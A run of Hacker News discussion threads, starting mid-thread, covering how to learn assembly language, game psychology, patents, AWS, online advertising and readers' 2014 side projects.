Simple projects like those above could be written quite quickly I think, because they only involve writing a very small collection of "primitives" (such as "write string to STDOUT", or "sin(x)"). They're almost template-based programs.

</comment><comment><USER7> This is a pretty good intro to NASM, which is one of the nicer assembly languages to use:

[https://cs.lmu.edu/~ray/notes/nasmtutorial/](https://cs.lmu.edu/~ray/notes/nasmtutorial/)

x86-64 (aka x64) is less insane than x86-32 so once you get your feet under you it is easier to understand.

<comment><AUTHOR> thanks, this looks really nice and condensed.

</comment></comment><comment> enjoy-your-stay A good debugger that shows the registers and flags, inspect memory and single step instructions is also a must when you're starting out. I spent many an hour staring at STmon on my atari ST.

</comment><comment><USER8> When I was writing some assembly last summer, I found:

[https://software.intel.com/sites/landingpage/IntrinsicsGuide...](https://software.intel.com/sites/landingpage/IntrinsicsGuide/)

[http://ref.x86asm.net/](http://ref.x86asm.net/)

I don't have AMD, so didn't need to look up AMD specific stuff. Would be amazing if AMD had something like Intel's interactive Intrinsics Guide.

</comment><comment><USER9> For some of the "clever tricks" at higher levels, Hacker's Delight is a great treasure trove - it's not x86-64 specific, as a lot of the tricks are applicable to many CPUs, but it helps understand some of the seemingly bizarre tricks.

[https://www.amazon.com/Hackers-Delight-2nd-Henry- Warren/dp/0...](https://www.amazon.com/Hackers-Delight-2nd-Henry- Warren/dp/0321842685)

<comment><AUTHOR> oh, this looks like a fun book!

</comment></comment><comment><USER10> I started programming when I was about 9. When I was a teenager, around 13 or 14, I became interested in how to influence the behavior of software after it was written. I had also taken an interest in reading and writing source code of programs that relied on other programs to continue to live, flourish, and fulfill their goal, which meant that sometimes they had to hide, or present themselves in ways that made them accepted.

</comment><comment><USER11> Worked my way through "the art of assembly language" [1] a Summer of many years ago. It is perhaps a bit outdated but it has all the fundamentals you need to get started.

[1]: [https://www.cs.yale.edu/flint/cs422/doc/art-of- asm/pdf/](https://www.cs.yale.edu/flint/cs422/doc/art-of-asm/pdf/)

<comment><AUTHOR> I think what I am looking for is basically a modern equivalent to this text... (and without all the HLA :-)

</comment></comment><comment><USER12> It's a bit outdated now... but

[http://www.s100computers.com/Software%20Folder/6502%20Monito...](http://www.s100computers.com/Software%20Folder/6502%20Monitor/The%20Telemark%20Assembler%20Manual.pdf)

</comment><comment><USER13> High Level Assembly (HLA) [https://en.wikipedia.org/wiki/High_Level_Assembly](https://en.wikipedia.org/wiki/High_Level_Assembly)

> _HLA was originally conceived as a tool to teach assembly language > programming at the college-university level. The goal is to leverage > students ' existing programming knowledge when learning assembly language to > get them up to speed as fast as possible. Most students taking an assembly > language programming course have already been introduced to high-level > control flow structures, such as IF, WHILE, FOR, etc. HLA allows students to > immediately apply that programming knowledge to assembly language coding > early in their course, allowing them to master other prerequisite subjects > in assembly before learning how to code low-level forms of these control > structures. The book The Art of Assembly Language Programming by Randall > Hyde uses HLA for this purpose_

Web: [https://plantation-productions.com/Webster/](https://plantation- productions.com/Webster/)

Book: "The Art of Assembly Language Programming" [https://plantation- productions.com/Webster/www.artofasm.com/](https://plantation- productions.com/Webster/www.artofasm.com/)

Portable, Opensource, IA-32, Standard Library: [https://sourceforge.net/projects/hla- stdlib/](https://sourceforge.net/projects/hla-stdlib/)

"12.4 Programming in C/C++ and HLA" in the Linux _32 bit_ edition: [https://plantation- productions.com/Webster/www.artofasm.com/...](https://plantation- productions.com/Webster/www.artofasm.com/Linux/HTML/MixedLanguageProgramming3.html#1030674)

... A chapter(s) about wider registers, WASM, and LLVM bitcode etc might be useful?

... Many awesome lists link to OllyDbg and other great resources for ASM; like such as ghidra: [https://www.google.com/search?q=ollydbg+site%3Agithub.com+in...](https://www.google.com/search?q=ollydbg+site%3Agithub.com+inurl%3Aawesome)

</comment><comment><USER14> Apart from the resources already mentioned, the book by Yurichev [1] was very helpful. Also, _Practical Malware Analysis_ by Sikorski and Honig [2].

[1] [https://beginners.re/](https://beginners.re/)

[2] [https://www.amazon.com/Practical-Malware-Analysis-Hands- Diss...](https://www.amazon.com/Practical-Malware-Analysis-Hands- Dissecting/dp/1593272901)

</comment><comment><USER15> Start by writing very simple C code and compiling that to assembly with the C comments. Then follow the System V ABI to learn what registers you need to pay attention to when calling functions. Start small. Once you learn the simple stuff, the more complex stuff is a matter of using it when you run into it.

</comment><comment><USER16> securitytube linux assembly expert

Focused on offensive security techniques and concepts but taught me a ton and has both x86 and x86-64 architectures. Briefly touched on ARM as well</comment>


Ask HN: Learning game psychology - <AUTHOR>

I'm trying to get a better understanding of game psychology in building apps. Stuff like HN, StackOverflow, or even FourSquare where people get deeply involved in the community to get points, badges, etc.
Can anybody point to a good resource for learning about this field?
My google searches haven't turned up much, and what I do get is not very deep. <comment><USER2> I thought this was pretty cool <http://noteandpoint.com/documents/pdf/jap.pdf>

Not just focussed on games, more what games can teach us about motivation in general.

<comment><USER3> Thank you so much. Half an hour well spent.

</comment></comment><comment><USER4> Behavioural game design is a/the topic you should be checking out.

I linked to a couple of good articles in a post here: [http://www.lonegunman.co.uk/2010/03/19/behavioural-game- desi...](http://www.lonegunman.co.uk/2010/03/19/behavioural-game-design-and- the-manipulation-of-fun/)

Design with Intent's "Learning from game design: 11 gambits for influencing user behaviour" post is worthwhile: [http://architectures.danlockton.co.uk/2010/03/22/learning- fr...](http://architectures.danlockton.co.uk/2010/03/22/learning-from-game- design-11-gambits-for-influencing-user-behaviour/)

</comment><comment><USER5> You should also read Charlie Mungers - "Poor Charlies Almanack". Charlies essays discuss incentive design and biases in human psychology.

<http://www.poorcharliesalmanack.com/>

The first step in creating a system which exploits biases is to understand all the biases humans are subjected to.

I also recommend tversky and kahneman's works for understanding incentive structures.

Its a fascinating field, hope you have fun!</comment>


Patent Law and Strategy for Innovators and Entrepreneurs - <AUTHOR> https://itunes.apple.com/us/itunes-u/patent-law-strategy-for-innovators/id597710068 <comment><AUTHOR> This is ME 208, a Stanford course taught by Jeffrey Schox. It has an associated text, _Not So Obvious_ which is not so bad although at $40 it is maybe not so cheap for 189 pages.

[https://www.amazon.com/Not-So-Obvious-Introduction- Strategy/...](https://www.amazon.com/Not-So-Obvious-Introduction- Strategy/dp/1517273935/)

Schox has a small patent firm in San Francisco as well.

[http://schox.com/](http://schox.com/)

They turn away 95% of their new business. I know this from experience :( But he's a good writer and a clear lecturer. Basically, this is everything an engineer/entrepreneur _should_ know about the mechanics and strategy of patents ...

except claims! Which if you have a functioning neuron you'll leave to a professional. BTW, you should know these things before you need to know these things. Pressman is good if you're foolish enough to file yourself. Schox is good if you want to educate yourself on the patent system and then manage your interaction with an IP firm.</comment>


AWS isn't killing your business, you just suck at it - <AUTHOR> https://www.lastweekinaws.com/blog/amazon-isnt-killing-your-business-you-just-suck-at-it/ <comment><USER2> The author's writing is engaging but he doesn't really offer any solutions. Apparently AWS is amazing and open source software businesses are not treating their customers well enough, not sure how this is useful to open source companies trying to survive this aws mess.

<comment><USER3> "Cloud" computing offerings are hard. AWS, for better or worse has an incredible amount of institutional knowledge on monitoring, metrics, and reliability. It's easy to sneer at this until you really think about it or try it yourself. Maybe this isn't the only thing though..

AWS' sites aren't great, and I love and use Redis. But look at RedisLabs site [0]. The buzzwords make me sick; where is the pricing? The Redis Enterprise "product" page is a wall of text [1]. The RedisInsight link [2] flat out gives me a "Warning: Potential Security Risk Ahead" in Firefox because their cert isn't valid. Cookie overlay: check. Obnoxious chat bot: check. Next.

Elastic. Again, I've run Elasticsearch myself, it was a bit of a pain. And Elastic's site [3] is slightly better, at least there's a clear pricing tab. "Get Started with Elasticsearch" says "Watch Now", okay I guess it's a video... "Register to Watch"? Are you kidding me? How scummy is that?

Okay, so compare that to DynamoDB's page [4], not quite the same, but it's what I get when I search DynamoDB. Pricing tab - yes, the pricing is very complicated, do I need on demand or the other thing? But at least it's laid out in detail without me logging in. Quick tag line ("Fast and flexible NoSQL database service for any scale"), non-auto-playing video with length before I load it, links to sample code. Great. (To be fair, the AWS Elasticsearch site is not quite as good [5], e.g. no sample code.)

Sorry, bit of a rant. I want Redis and Elastic to succeed, and none of this takes a marketing genius. Their sites simply suck for me (but hey, not a CTO/CEO).

[0] [https://redislabs.com/](https://redislabs.com/)

[1] [https://redislabs.com/redis-enterprise/](https://redislabs.com/redis- enterprise/)

[2] [https://acdn-live-redislabs.ps-pantheon.com/redis- enterprise...](https://acdn-live-redislabs.ps-pantheon.com/redis-enterprise- visualization/redis-insight/)

[3] [https://www.elastic.co/](https://www.elastic.co/)

[4] [https://aws.amazon.com/dynamodb/](https://aws.amazon.com/dynamodb/)

[5] [https://aws.amazon.com/elasticsearch- service/](https://aws.amazon.com/elasticsearch-service/)

<comment><USER2> Well I get it and I use aws too, but how are we supposed to fund new software then? Seems like aws will commoditize everything. Also aws is not necessarily offering the best solution either. In the analytics space they push stuff like Glue which is basically Spark with the problems of Spark, we have things like Dask that work great for analysts but hey no we are now convincing companies that spark fixes all problems. It feels like Oracle 2.0, pushing companies to adopt solutions that somehow work but are not optimal.</comment></comment></comment>


Show HN: Twilio Pricing API hack - <AUTHOR> http://twiliopricing.herokuapp.com/

<comment><AUTHOR> I created this API out of a frustration with Twilio. They don't provide such an API and when I requested a list of prices they were only able to provide me with an outdated CSV file. They've since reached out to me with an updated CSV but I had already created this and it works for my purposes.

<comment><USER2> I've heard for over a month that they will be releasing a pricing API soon... but I did something similar. At least they gave you the CSV, I ended up having to write a scraper while they looked for the CSV file.

</comment></comment><comment><USER3> Any plans to add support for SMS pricing?

<comment><AUTHOR> I could do. Hadn't planned to as I only needed the voice pricing but suppose I should add for completeness.</comment></comment>


Want $25,000? Put Your Finger on Your Phone. and Wait - <AUTHOR> https://www.arilewis.com/aris-posts/want-25000-put-your-finger-on-your-phone-and-waitnbsp <comment><USER2> Yes. World IQ is dropping fast.

The contest will be won by the person using a robot finger on an old spare iPhone, able to provide the longest continuous support (power, internet, etc). The contest would last months if not years. Uptimes for computers are in tens of years, but for iOS system, one year might be a maximum. Uptime for lego robots may be much shorter, but uptimes for professional test robots are probably much higher. So I'd bet for some idle professional test robot. (electricity bill and hardware amortisement would largely allow it).

Knowing that, only people with such finger robots available to them (or able to build one) should participate, and the organiser would lose the price.

The fact that he won't is proof of the lowering IQ in the world and that he's an immoral scammer (but we already knew that)... :-(</comment>


Why is digital advertising so lousy? Industry is too smug to innovate. - <AUTHOR> http://www.washingtonpost.com/wp-dyn/content/article/2010/05/29/AR2010052900287.html <comment><USER2> The biggest problem with online advertising is what happens _after_ you click. Every time an extremely specific ad dumps you into a generic landing page or (worse) search results, that tells you "clicking on ads is a waste of my time". Every time an ad makes false promises of any kind ("PS3 for $21.97", "You won a prize", etc), it reduces the effectiveness of _all_ online advertising because it conditions people to mistrust ads.

I think the only way to combat this is to have "branded" ads with guaranteed quality. Google AdSense was the first example of branded ads online (that I know of); they had a unique style that indicated "these ads are different". Unfortunately the style was quickly copied. The only solution to the copying problem is to brand ads with a trademark, e.g. "ads by Google".

The quality of AdSense ads has deteriorated over time, so "ads by Google" isn't a real indicator of quality any more, but I think the concept is good and there's room for a new "ad brand" that only accepts real quality ads. Ads that are honest, funny, pretty, respectful, and most of all take you somewhere good when you click. Perhaps iAd could be it.

</comment><comment><USER3> I think it's odd when online television shows have the same advertisement at every commercial break.

<comment><USER4> Repetition is the best way to get the message into the heads of viewers. For example, if I asked you about a specific ad that ran on "60 Minutes" on CBS tonight (assuming you watched it), you might have trouble recollecting it since it was but one of many. But if it was on Hulu, which repeats the same ad over and over at each break, it would probably stick in your head longer.

<comment><USER5> Do you have evidence to support this?

<comment><USER6> He's correct that repetition does drive things into our memory. This is the whole idea behind 'behavioral advertising' (google it for full explanation).

The theory: If a user has visited Amazon.com and browsed Digital Cameras lately, I'm going to drop a cookie and pass that to my ad server so that whenever he goes to Dictionary.com, I can show him an Amazon.com Digital Camera ad.

It's quite effective (has worked on me before).

</comment></comment></comment></comment><comment><USER7> I posted this on the article's comments:

Well I can gather two things from this article. 1, the Washington Post is very definitely not involved in the digital advertising industry; 2, the Washington Post does not deal with a decent digital marketing agency.

"Lazy" is a remarkably strong term for many agencies whom, in my experience, often work around the clock to deliver on tight deadlines and low budgets, as clients still do not consider digital as important as above-the-line media. With extreme constraints, some of the most interesting conceptual work tends to come from digital agencies, who are forced to push limits in a constantly changing environment, with high demands from an intelligent user base who are not interested in simplistic and overdone banner advertising (which seems to be the focus of this article!).

Innovation is exactly the name of the game when it comes to digital marketing. Take Farfar's tremendously successful campaign for Diesel (<http://www.farfar.se/awards/cannes2007/heidies/>), or R/GA's Nike+ campaign, which received numerous awards and incredible ROI (Google it), or Crispin Porter and Refresh Partners' Whopper Sacrifice Facebook campaign for Burger King, that was so successful in its execution that Facebook had to kill the application, or even AKQA's campaign for VW, which relied on nothing but an iPhone app ([http://www.facebook.com/video/video.php?v=324848336756&r...](http://www.facebook.com/video/video.php?v=324848336756&ref=mf))

These are but a few of the very successful, innovative, forward-thinking digital marketing campaigns and strategies out there, that are so far beyond a simple banner ad and truly identify the kind of industry that digital is all about. The question "Why is digital advertising so lousy?" is a useless question, and is simply responded to by the fact that only lousy digital advertising is lousy, very similar to lousy advertising in other types of media. Just think of the pamphlets that are handed out on streets, or left under your car's windscreen wiper, or the terrible infomercials on TV or adverts with bad acting, or big billboards with no thought behind them.

</comment><comment><USER8> The article raises some interesting points, but I don't think it explains why traditional advertising generates so much more revenue than digital advertising. Is print advertising overpriced? Are digital ads an inferior format? Is it perceived value? What explains the huge difference?

</comment><comment><USER9> Certainly seems a smug industry, based on this article in Advertising Week: "Memo to Steve Jobs: the IAd Is No Miracle Worker" <http://adage.com/digitalnext/article?article_id=144050>

paraphrased: "Jobs says online ads suck? We've got our best people working on that suck, I'll have him know."

We'll see...

</comment><comment><USER10> I think the first point is utter hooey. Online advertising is worth less than online for two reasons

1\. It's measurable. Unlike print it's not about the number of people who _may_ have seen your ad. Its about the number of people who did, or even who clicked. That's a big difference. Companies aren't wicking to apply the traditional brand marketing fullsnto online.

2\. Kids are much more banner blind then previous generations. They have grown up saturated by ads and ha e developed banner blindness. However because of point 1 this now has a direct impact on the bottom line of the publisher.

<comment><USER11> You mean: worth less than print? :)

<comment><USER10> Yeah. I shouldn't comment while jetlagged and on my iPad. I still think it's a valid point though.

</comment></comment></comment><comment><USER12> Not too smug; the word is lazy. Smugness is a cover for lack of imagination and drive.

And it's human nature. Most want to turn the crank, the same as they did yesterday, collect their pellet, and strut around the barnyard. Nothing wrong with that as a life plan, but it's not the way to innovate or change your business.

<comment><USER6> I would argue that people in advertising are not smug or (abnormally) lazy. They are scared.

For every great advertising campaign that ends up all over twitter/facebook/etc, there are 10 that bring consumer complaints, shame, and a negative image. People are scared to try new things because their client might get mad and fire them.

To understand why this mentality exists, you need to get the 'media landscape.'

The Client - Whoever is paying for the advertising. This could be Pepsi, Coke, or Trojan. Generally the actual person is a high-powered marketing exec with a VP+ title.

The Media Agency - A middle-man group that manages the 'campaign' on behalf of the client. They recruit the different groups involved, pay them a bit, and run all the numbers for the client. In the end, they are judged on 1-2 'metrics' that the client cares about. This could be 'Performance' (# of ads clicked vs. ads viewed), 'Engagement' (# of times people click the play button in a video player, for example), or 'Share of Voice' (percentage of a website's views in a given time period that the brand owns).

The Media Agency boss is generally a 40-something advertising hotshot. He is hands off on nearly everything once his company signs an exclusive deal with the brand.

The Media Agency worker is generally a 20-23 year old who couldn't decide on a major in college so they went with 'international business.' They don't really use the internet much and are judged solely on the metrics mentioned above.

In the end, advertising deals are closed based on: -Buying the agency a stripper or tickets to a hockey game -Being friends with someone at the agency -Being a website that someone at the agency visits every day

I can go into a ton more detail on things like the ridiculous 'RFP Process,' Creative Agencies, and other stupid advertising things if the interest is there.

p.s. I've worked in online advertising for the past 3 years and have no idea wtf the word 'media' means.

<comment><USER13> I think their fear stems from something else entirely. While what you mention is indeed a factor, I think the greatest factor is the fact that on the internet, ROI can be calculated. The metrics are much more precise and I have a feeling that there's been a _LOT_ more money spent on advertising than was ever justified.

I think this is just the effects of greater transparency on the client side. When the client can measure effectiveness, advertising prices plummet. I think the current dismal advertising revenue on the internet is actually what advertising revenue should've been all along.

<comment><USER14> To elaborate: If text ads are cheaper and demonstrably more effective than multimedia ads, and text ads can be created by literally typing for five seconds and letting the computer pick which line works best, then what does this imply for the careers of the Big Thinkers at the ad agencies?

Here's a scary prospect: most insurance companies could fire everybody they have working in advertising, replace them with one 22 year old English major tasked with writing PPC copy, and _make hundreds of millions of dollars_.

I don't think we're necessarily overspending on advertising... we're just overspending on _ineffective_ advertising.

<comment><USER6> I agree that on a straight CTR calculation, ad agencies could make a killing on text ads.

However, I also firmly believe that you have to pay more to effectively reach certain people.

Example: Men tune out banner ads. Especially internet-savvy ones. If you want to reach them, you have to either do something incredibly cool (like sponsoring FilePlanet to have no download queues for a day or Virgin America to have free in-flight wireless) or incredibly annoying (like those big 'stunts' you see on nytimes.com occasionally).</comment></comment></comment></comment></comment>


What side projects did you start in 2014? - <AUTHOR>

<comment><USER2> In 2014 I started [http://www.lessmilk.com](http://www.lessmilk.com), a website where I build one new HTML5 game per week. I was on the front page of HN a few days ago.

I'm doing this mainly to learn how to actually make games. So far I have 7 games available. Let me know if you have any questions about it!

<comment><AUTHOR> Hi, This is interesting,here are a few questions.

Are you doing this full time? and if not, how do you find time to work on a game?

How many hours do you put into a single game?

</comment></comment><comment><USER3> I really started it at the end of 2013, but I've been improving it slowly in 2014:

HTML5 + AJAX + RESTful end points + Basecamp2-style partial swapping => Intercooler.js

The idea is to use declarative markup to achieve better UX without the complexity of client-side javascript frameworks and retaining most of the familiar web app techniques and advantages. It's a riff on pjax, the basecamp 2 approach and Angular.

So, if you want a button to post to a url, you simply say:

      <button ic-post-to="/some/url">Post It!</button>

And you get an AJAX post when that button is clicked.

Another aspect to it is using REST-ful paths to express dependencies. So you could have a div depend on the path that the button above posts to and, after the post succeeds, we would refetch the div content and swap it in (if it is different):

...

Because "/some/url/my_div_src" is a child path of "/some/url", this div will get refreshed when you click the button.

The main site is here:

[http://intercoolerjs.org/](http://intercoolerjs.org/)

And a rough demo is here:

[https://vimeo.com/85881209](https://vimeo.com/85881209)

When I get a bit further along and convince myself it's a decent model for development, i'll do a ShowHN.

</comment><comment><USER4> I started Akasha, a programming language for auto code generation(like genetic programming but can also use stochastic hillclimbing and simulated annealing to generate code). I did just a month's worth of work on it. The language will be imperative and statically typed. It will allow for parallel evaluation of programs(GPU). Programs generated will be Turing complete instead of just symbolic regression.

I think it will be ideal for AI or at least that is what I'm planning to use it for. I estimate it will take me like six months - 1 year to complete.

If you are into AI, you can join my strong AI group:

skype:?chat&blob=xTKl07MXeVdX9li2-xUCvbGBwwo2xTORkOCKkFzKzCtnuoCpzpoIEwFh0vdzTWDY_MwormVtRe2XkYSwE2k4ataFYwVVBLDkK8kUK3CzBK4d0v-TYpxpUMIhTh8sJzKdfsjVKaFUfkE9Go_GDSWcCif_q7M0LjNDnKTId --qZjTaOvq8YzE

Just copy the link into a skype window and click on it.

<comment><USER5> That sounds really cool. Are you really, really wedded to Skype though? It would be awesome to be able to participate using something open source... :-)

<comment><USER4> When we get up to like 300 members we will move to a new platform. We are now at 10. The reason why I chose skype is because it is already in many people's workflow. Don't you use closed software for anything?

<comment><USER5> _Don 't you use closed software for anything?_

Not if I can help it. :-)

</comment></comment></comment></comment><comment><USER6> Currently working on Gophish ([https://github.com/jordan- wright/gophish](https://github.com/jordan-wright/gophish)), an open-source phishing toolkit designed to help businesses and pentesters to quickly conduct phishing campaigns.

The project is being built with Go and Angular, so it will hopefully be a dead-simple application to install. I'm also blogging about it occasionally here: [http://jordan-wright.github.io/blog/categories/gophish/](http://jordan- wright.github.io/blog/categories/gophish/).

</comment><comment><USER7> Hangout Fishbowl - A way for the audience, of a Google Hangout On Air, to request an invite in real time. In the next iteration, I hope to add automated invite moderation, like auto-accept if the number of participants is below a specific number.

But, honestly, it was more of an excuse to learn NodeJS.

[https://www.hangoutfishbowl.com](https://www.hangoutfishbowl.com)

[http://blog.lobberecht.com/2014/01/hangout- fishbowl.html](http://blog.lobberecht.com/2014/01/hangout-fishbowl.html)

<comment><USER8> Could you help me with an hangout app I created for my company. How do I set the logo properly? Can I send information to google analytics? Thanks

</comment></comment><comment><USER5> Still the same project I've been working on for some time... Fogbeam Labs[1]. We're an enterprise software startup specializing in enterprise social networking, social BPM and semantic integration + knowledge management. We're an Open Source[2] startup pursuing a model similar to the model used by Red Hat... which is probably not a coincidence, since we're in the Raleigh / Durham area, basically in the shadow of Red Hat Tower.

All of that said, we don't really use the word "pivot" a lot and our _basic_ focus is now still the same as it was when we started this thing. But we have a few new initiatives lined up for 2014, including some things we're going to do in terms of taking our technology, making it more of a "platform", and building some domain specific SaaS offerings on top of the platform.

It's an exciting time right now, as we have some leads in the pipeline and have a real chance to get some movement and traction this year.

[1]: [http://www.fogbeam.com](http://www.fogbeam.com)

[2]: [https://github.com/fogbeam](https://github.com/fogbeam)

<comment><USER9> Interesting. How do you guys differ from Yammer?

<comment><USER5> _How do you guys differ from Yammer?_

The major areas where we differ are:

1\. our product is 100% open source, developed in the open, using the ALv2 license, open issue tracker, mailing list, code on GitHub, etc.

2\. Our primary focus _right now_ is the "on premises" deployment model (although SaaS delivery will be available)

and (2) is largely rooted in (3)

3\. A tremendous focus on integration. The vibe we get from talking to users of Yammer and the other social networking products is that the largely just become sort of a "replacement for email" or maybe a complement to email. There are different reasons for that, but our thesis is that a big part of it is that the products don't lend themselves to integrating into existing workflows and processes. By comparison, we have SOA/ESB integration for real-time business event subscriptions, BPM integration to make a "social BPM" offering, Calendaring integration, and more to come.

4\. A big focus on contextual computing, largely driven by use of semantic web tech. As "content" of various types passes through the system, we do semantic concept extraction, clustering / classification, etc., so we can show you - for a given piece of content, business event, person, task, etc. - all of the related (people|content|documents|events|etc).

5\. Open standards focused: all our integration points are based on open standards, including RSS, Atom, ActivityStrea.ms, RDF, FOAF, and the like.

Other than that, it's basically the same thing. :-)

</comment></comment></comment><comment><USER10> Localize.js ([https://localizejs.com](https://localizejs.com)) - it's the easiest way to localize your web app.

The localize.js javascript library detects phrases on the page, and injects translations into the DOM on the client-side. Unrecognized phrases are saved to your localizejs.com dashboard, where your can order human or machine translations.

As a developer, localization is really hard thing to get right. Traditionally, i18n workflows take 1-2+ weeks to setup plus a lot of ongoing maintenance. My goal with Localize.js is to automate as much of the process as possible, making i18n more accessible to startups and time-strapped developers.

It's being used in production at [http://verbling.com](http://verbling.com) and [https://localizejs.com](https://localizejs.com), with very few glitches thus far.

Let me know what you think :). If you're interested in trying it out, feel free to sign up. It's production-ready. Send me an email if you have any questions :) firstname.lastname@example.com

</comment><comment><USER11> [http://goodaudience.com](http://goodaudience.com) is a domain I just won in an auction a few weeks ago. It makes your target market aware of your existence on social media and converts them into fanboys/girls (lead generation).

I started Instagram integration as a side project and now you can increase your reach to over 150 million monthly active Instagram users.

</comment><comment><USER12> I started re-building an old project of mine, correcting the mistakes/overcoming the difficulties I had, that led me to give it up back then. [http://www.greeceandroid.gr/dev/766-smart-home-android- ardui...](http://www.greeceandroid.gr/dev/766-smart-home-android-arduino-14) Its about an Android controlled home.

</comment><comment><USER13> I just released SyncNet[0] which is a experimental web browser that uses bittorrent to distribute files. Decentralizing with bittorrent makes it very hard to censor a site, and greatly reduces the load on popular pages.

[0]: [https://github.com/jminardi/syncnet](https://github.com/jminardi/syncnet)

</comment><comment><USER14> Pasteye (Pastebin monitoring as a service) - was trending on the front page for a few hours 2 days ago.

[http://pasteyebeta.herokuapp.com/](http://pasteyebeta.herokuapp.com/) [http://github.com/shayanjm/pasteye](http://github.com/shayanjm/pasteye)

<comment><USER6> Ah, I remember seeing this. Looks a lot like @dumpmon ([http://github.com/jordan-wright/dumpmon](http://github.com/jordan- wright/dumpmon))

</comment></comment><comment><USER15> I'm working on a side-project per month. I start each month with a couple of days of identifying which project to undertake, a couple of additional days to work out features that I'd like to see and the spend the rest of the time building it (while working a full-time job, part-time writing, etc.).

My first project, to start with something light, was a text-based game that crossed a Unix shell with an RPG (called RPGFS). You can find source and discussion here: [https://news.ycombinator.com/item?id=7198147](https://news.ycombinator.com/item?id=7198147)

My February project is a simple data processing scripting language called Piglet inspired by Apache Pig.

</comment><comment><USER16> [http://serversforhackers.com](http://serversforhackers.com), because I don't like current email newsletter formats and there's a large niche of programmers who are behind on how servers work and can be used.

</comment><comment><USER17> I've started writing a book on Haskell web development to make it easier for beginners to get started.

Another project I've started is for the tracking and analysis of athletic training and performance (aimed at D1 to professional athletes).

</comment><comment><USER18> I decided I wanted 2014 to be the "year of the product" for me, so I started [http://bugroll.com](http://bugroll.com) \- books and screencasts for developers.

I've "swung for the fences" in the past (anyone remember plentyoftweeps.com - twitter dating? :), but this year I want to focus on the exact opposite approach: instead of trying something that's never been done before, I want to try something that I know many others are doing successfully, to see if I earn my way into that group.

<comment><USER19> That's awesome! I call it Freedom 2014 and I'm planning to release a product and quick my job, too!

Here's a blog post that's dated Dec 30, 2014: [http://blog.hndigest.com/from- the-future/](http://blog.hndigest.com/from-the-future/)

</comment></comment><comment><USER20> I'm working on Braph, a parametric search engine and a model-as-a-service solution. It's about classes and instances, where you can save your data with certain properties and search by its characteristics. In the demo I create a Pokemon class and create many instances, even with relations between them (evolution), then I could search a pokemon by its weight or evolution. [http://www.youtube.com/watch?v=CfOvGYEYJq0](http://www.youtube.com/watch?v=CfOvGYEYJq0)

</comment><comment><USER21> [http://ammazing.de](http://ammazing.de) But actually we started it at the end of 2013. I started another one in 2014, but there is nothing to show yet ;)

<comment><AUTHOR> very nice, thanks for sharing.

</comment></comment><comment><USER22> Build a Browser Game ([http://buildabrowsergame.com](http://buildabrowsergame.com)) - A digital book on building a multiplayer browser game.

Game development is the reason I became a developer, like a lot of people. I've made countless games for myself, but have never released them. Started working on this since creating and writing it has the added benefit of forcing me to release a game, in addition to teaching others how to make one.

</comment><comment><USER23> First steps, allows any developer to play with your API or SDK in 60 seconds or less. It spins up one customized virtual machine (container to be exact) per developer, and exposes the machine via a text editor and a terminal in the browser. No setup required for developers. [http://first.askvc.com/home/](http://first.askvc.com/home/)

</comment><comment><USER24> I started FitSpot ([https://Fitspot.io](https://Fitspot.io)) and released this week. Our first feature allows personal trainers to create a web presence easily and for free. We have some big ideas for the future but wanted to start small and build from there.

The site is built using Django and Angular.

</comment><comment><USER25> I'm targeting small businesses in 2014.

1\. A very simple web based CRM targeting small businesses hosted on a Raspberry Pi with a AdHoc Wifi

2\. I've developed an easy keyword monitoring tool with competition content analysis (based on a bayes algorithm). It's currently in closed beta and will launch in Q2/2014

</comment><comment><USER26> I started [http://kurikku.com](http://kurikku.com) dubbed Rap Genius for code. It was at the top of HN a little bit under a week ago.

I'm thinking about turning it into a tool for code reviews for software teams. If you're interested in that, let's talk. Email is in profile.

</comment><comment><USER27> I started thinking seriously about side projects as a side project!

So far it involves actually planning stuff (using Trello), working on things for one maybe two hours at a time max (lunch breaks etc) and actually shipping. So far one basic Android app has been released. Hoping for more inspiration soon.

</comment><comment><USER28> Procedural content/story generation software.

Something for VR (Oculus Rift) that I hope to Kickstart soon.

<comment><USER29> Procedural storytelling is something I would LOVE to learn more about. Are there any resources you've found particularly helpful or interesting?

<comment><USER28> There are a ton of papers written about this field. I've been bushwhacking through them. Google Scholar is your friend in this. There's a good overview of procedural methods here: [http://www.st.ewi.tudelft.nl/~iosup/pcg-g- survey11tomccap_re...](http://www.st.ewi.tudelft.nl/~iosup/pcg-g- survey11tomccap_rev_sub.pdf)

Thus far, I've been focusing more on procedural content generation/procedural -anything- related to gaming/storytelling. Togelius has a lot of good stuff.

<comment><USER30> I'm also fascinated by this space. Have you seen [http://www.interactivestory.net/](http://www.interactivestory.net/) ?

</comment></comment></comment></comment><comment><USER31> I put this together couple days ago to shorten my URL's and I've actively using it. It's a simple personal way to convey your own message while sharing links. I call it a better URL shortener for startups.

\-- [http://juts.co](http://juts.co)

</comment><comment><USER32> Ported Github identicons concept for missing display pictures to Android: [https://play.google.com/store/apps/details?id=com.davidhampg...](https://play.google.com/store/apps/details?id=com.davidhampgonsalves.contactidenticons)

</comment><comment><USER33> I launched a paid niche iOS app for a group of enthusiastic hobbyists. It's not an explosion of awesome, but it's sold 2,000+ copies in the first two weeks.

[http://tanglelibrary.com](http://tanglelibrary.com)

</comment><comment><USER34> I built a browser-based puzzle game based on a concept from Machinarium: [http://unbeaded.com/](http://unbeaded.com/)

My friends liked it, but I haven't had much success showing it off on the Internet.

</comment><comment><USER35> I created and released Wrist Presenter [1], an iOS and Android app that lets you control presentations wirelessly with your Pebble Smartwatch.

[1] [http://wristpresenter.com/](http://wristpresenter.com/)

</comment><comment><USER36> Gitpoints ([http://gitpoints.com](http://gitpoints.com)) - Github meets Gamification

We got some initial traction with hundreds of subscribers and we are testing the MVP with few dozen startups.

</comment><comment><USER37> For 2014 I decided to build an open-source remake of Sid Meier's game _Colonization_ (1994), in HTML5 (canvas) + TypeScript, with a special twist. :)

I'll be blogging about it on GitHub.

</comment><comment><USER38> I've (just) started 1701.io ([http://1701.io](http://1701.io)) to rethink enteprise applications and make them applicable to projects of any size and budget.

<comment><USER39> Getting an application error

<comment><USER38> What type of error are you seeing? I can successfully bring the page up and register my email. (It's just a basic landing page atm)

<comment><USER40> Application Error An error occurred in the application and your page could not be served. Please try again in a few moments.

If you are the application owner, check your logs for details.

<comment><USER41> Try [http://www.1701.io/](http://www.1701.io/) instead of [http://1701.io/](http://1701.io/) ;-)

</comment></comment></comment></comment></comment><comment><USER42> I've just completed a composer version of Phrocco which is a Docco style documentation generator for PHP code.

[http://phrocco.info](http://phrocco.info)

</comment><comment><USER43> I started [https://packageindex.com/#/](https://packageindex.com/#/) (actually started in in 2013 but it's a work in progress...)

</comment><comment><USER44> Writing an iOS childrens book app for my son to teach counting.

